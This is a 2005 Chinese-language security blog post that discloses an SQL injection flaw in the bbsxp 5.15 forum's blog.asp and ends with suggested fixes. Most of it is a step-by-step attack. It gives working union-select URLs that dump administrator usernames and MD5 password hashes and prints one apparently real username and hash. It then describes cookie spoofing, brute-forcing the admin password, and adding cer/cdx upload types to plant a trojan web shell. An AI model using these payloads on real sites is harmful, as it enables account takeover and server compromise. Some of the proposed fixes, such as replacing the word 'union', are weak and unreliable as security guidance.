All about security

scripts.girl

导航

[原创]bbsxp 5.15又暴新漏洞

Posted on 2005-05-12 01:33  isno's world  阅读(918)  评论(0)    收藏  举报

新漏洞,对sql和access通杀  ALLyeSNo[Godkiller Team]

漏洞处在blog.asp中:如下代码

-----------------------------------------------------------------

<!-- #include file="setup.asp" --><%

username=HTMLEncode(Request("username"))
id=HTMLEncode(Request("id"))

top

if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"

--------------------------------------------------------------

好,这里id直接到sql语句中,只用htmlencode函数来过滤。在setup.asp中对htmlencode()有如下解释:

-----------------------------------------------

function HTMLEncode(fString)
fString=replace(fString,";","&#59;")
fString=replace(fString,"<","&lt;")
fString=replace(fString,">","&gt;")
fString=replace(fString,"\","&#92;")
fString=replace(fString,"--","&#45;&#45;")
fString=replace(fString,"'","&#39;")
fString=replace(fString," ","&nbsp;")
fString=replace(fString,CHR(34),"&quot;")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function

-----------------------------------------------

显然过滤是不严格的,我们可以通过构造union子查询来突破。

所以去calendar表中看看,发现有7个字段。好如下构造:

blog.asp?id=1 union select top 1 1,1,1,1,1,1,1 from [user]

提交成功后,页面会出现如下图案:

这样表明成功了,可以继续构造:(当然是获得管理员的拉,一般用户有个屁用 :P)

blog.asp?id=1 union select top 1 1,1,1,1,1,1,1 from [user] where membercode=5

恩,显示还是一样,说明存在管理员用户(按他们内部说法是区长,吐。。。)。所以继续:

blog.asp?id=1 union select top 1 1,username,userpass,1,1,1,1 from [user] where membercode=5

这样就会如下显示:

ok,我们一次就得到了管理员的用户名和密码:

BioChina

D1292AD80E7732A8B4D7C165D271102A

当然这只能得到第一个,如果各位想看到底有多少个:

blog.asp?id=1 union select 1,1,count(*),1,1,1,1 from [user] where membercode=5

当然也可以全部列出来:

blog.asp?id=1 union select 1,1,username,userpass,1,1,1 from [user] where membercode=5

好,下面将要获得区长密码:

blog.asp?id=1%20union%20select%201,1,adminpassword,1,1,1,1%20from%20[clubconfig]

后面就是关于怎么登陆了,有两种办法

1  暴力破解md5密码,这里是32位的

2  利用cookie欺骗直接进入

其实我很赞赏第一种办法,不管怎么样进入后台还是要必须暴力破解区长密码的。

我说的这些不是没有根据的,直接看看代码吧:

先看看前台的,我在setup.asp中发现了一段

if Request.Cookies("username") <> empty then
sql="select * from [user] where username='"&HTMLEncode(Request.Cookies("username"))&"'"
Set Rs=Conn.Execute(SQL)
if rs.eof then Response.Cookies("username")=""
if Request.Cookies("userpass") <> rs("userpass") then Response.Cookies("username")=""
membercode=rs("membercode")
userface=""&rs("userface")&""
newmessage=rs("newmessage")
userlife=rs("userlife")
set rs=nothing
end if

我们发现前台是可以通过cookie欺骗来混过去的。

再看看后台的,在admin.asp中:

sub pass

session("pass")=md5(""&Request("pass")&"")
if adminpassword<>session("pass") then error2("社区管理密码错误")

这样是无法通过cookie欺骗饶过的。

cookie欺骗,我用iecv。登陆时要选”保存密码“

这样就可以完美的欺骗了,对于后台密码,我们只能暴破。登陆后进入后台,在上传选项中添加一个

|cer或者|cdx 就可以上传木马了。

因为最新的代码这有如此一句

sub check(typ)
if instr("|"&UpFileGenre&"|","|"&typ&"|") <= 0 or typ="asa" or typ="asp" then error2("对不起,本服务器不支持 "&typ&" 格式的文件")
end sub

ok ,now

防范方法:

1  在setup.asp的htmlencode()函数修改如下:

function HTMLEncode(fString)
fString=replace(fString,";","&#59;")
fString=replace(fString,"<","&lt;")
fString=replace(fString,">","&gt;")
fString=replace(fString,"\","&#92;")
fString=replace(fString,"--","&#45;&#45;")
fString=replace(fString,"'","&#39;")
fString=replace(fString," ","&nbsp;")

fString=replace(fString,"union","wrong")
fString=replace(fString,CHR(34),"&quot;")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function

-----------------------------------------------

2 或者这样修改,在blog.asp中加一句

id=HTMLEncode(Request("id"))

id=Cint(id)

3  对于过滤应该改成这句

sub check(typ)
if instr("|"&UpFileGenre&"|","|"&typ&"|") <= 0 or typ="asa" or typ="asp" or typ="cer" or typ="cdx" then error2("对不起,本服务器不支持 "&typ&" 格式的文件")
end sub

 当然,没有对扩展名的空格进行过滤,我想还是一个隐患!

4 当然对服务器的设置,只要对所有的主目录以下的目录设置成不执行脚本就可以了!

还有就是删除映射。。这样cdx cer就不起作用了。

                                                                                                  

当然如果是对方是利用sql server来连接数据库的话,那就更好玩了

一句 update就可以搞定了!